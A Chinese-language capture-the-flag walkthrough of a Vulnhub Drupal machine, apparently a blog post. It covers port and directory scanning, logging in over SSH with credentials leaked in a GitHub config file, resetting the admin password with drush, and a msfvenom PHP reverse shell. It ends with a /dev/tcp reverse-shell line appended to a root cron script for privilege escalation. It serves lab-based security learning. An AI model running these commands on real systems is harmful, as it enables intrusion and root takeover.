工具及漏洞信息#
- netdiscover
- nmap
- dirb
- dirsearch
- gobuster
- droopescan
- 計劃任務提權
** 部分工具的用法和詳細說明請參考此系列的第一篇文章:bossplayersCTF:1-Vulnhub 逐步指南 **
0x00 信息收集#
掃描靶機信息#
netdiscover
的-r
參數掃描192.168.1.0/16
結果如下:
nmap
掃描主機及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.8
robots.txt
沒有什麼可利用的,首頁最下面寫著Powered by Drupal
掃描路徑#
dirb
掃描路徑:
dirb http://192.168.1.8
dirsearch
python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8
gobuster
gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt
0x01 漏洞掃描#
一圈目錄下來,都沒什麼特別的,user/login
界面也沒有弱密碼:
而且後台限制了 5 次登錄失敗會被暫時鎖定,只能從網站框架和模板入手了
Github
上針對Drupal
的漏掃工具有droopescan
和drupwn
但是後者不好用就不做介紹了
git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.9/ -t 32
而漏洞庫不包含掃描出來的版本:
cms
本身漏洞無法利用,那我們就解決作者本身吧::quyin:OK::
0x01 獲得普通帳號#
首頁的底部除了Powered by Drupal
還有作者的名字@DC7USER
,搜了一下發現是twitter
帳號:
並且在首頁放著一個大大的github
鏈接,作者只有一個倉庫staffdb
config.php
裡明晃晃地寫著帳號密碼和數據庫名字:
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
於是用ssh
登錄進去:ssh dc7user@192.168.1.9
,獲得了dc7user
的shell
:
0x02 獲取 shell#
獲取到shell
第一步當然是查看當前目錄有什麼文件:
mbox
很顯眼,查看一下:
郵件內容應該是備份的日誌,調用的腳本是/opt/scripts/backups.sh
貌似還是root
權限執行的。如果當前用戶有腳本的寫入權限,那麼應該就可以提權了。
查了一下www-data
和root
用戶才能修改,內容是用來管理Drupal
站點的shell
其中有一句話引起了我的注意:
drush sql-dump --result-file=/home/dc7user/backups/website.sql
查了一下,這個drush
命令是可以用來修改密碼的:
drush user-password USERNAME --password="SOMEPASSWORD"
於是嘗試修改admin
的密碼,需要到某些指定目錄例如/var/www/html
才能修改:
獲得管理員賬戶之後我們登錄網站來反彈shell
出於安全考量,PHP Filter
已經從Drupal
核心中移除
後續作為一個module
存在,可以通過手動下載安裝:
打開網站的模塊安裝界面/admin/modules
:
搜索模塊php
,選中我們剛才安裝的PHP
,點擊install
啟動模塊:
模塊安裝好後就可以開始利用漏洞了,在Content
中新建一個Basic page
,
然後在Title
輸入頁面的名稱webshell
,在Body
中放入反彈shell
的PHP
代碼
我這裡使用msfvenom
生成的php shell
:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f raw
Text format
的位置選擇PHP code
:
弄完之後,先別操作,在kali
上監聽端口
msfconsole
handler -H 192.168.1.2 -P 3333 -p php/meterpreter/reverse_tcp
最後點擊Preview
按鈕,第一次可能不會成功,退出Preview
再來一次即可:
獲取到的shell
為www-root
用戶的:
0x03 backups.sh 提權 root#
之前郵件裡的備份計劃任務使用的腳本/opt/scripts/backups.sh
只有root
和www-data
用戶可以修改。
所以接下來就是將反彈shell
的代碼附加到backups.sh
腳本中
(因為計劃任務是root
權限執行的,反彈回來的shell
也會是root
用戶)
然後在kali
中監聽相應端口,等待計劃任務的執行:
使用shell進入命令行
使用/bin/bash:python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt/scripts/
在另外的終端監聽指定端口:nc -lvp 3456
將反彈shell代碼寫進backups.sh:echo "0<&198-;exec 198<>/dev/tcp/192.168.1.2/3456;sh <&198 >&198 2>&198" >> backups.sh
等待靶機執行定時任務就可以獲得root
的shell
:
成功獲得flag
:
本文完。
參考文章: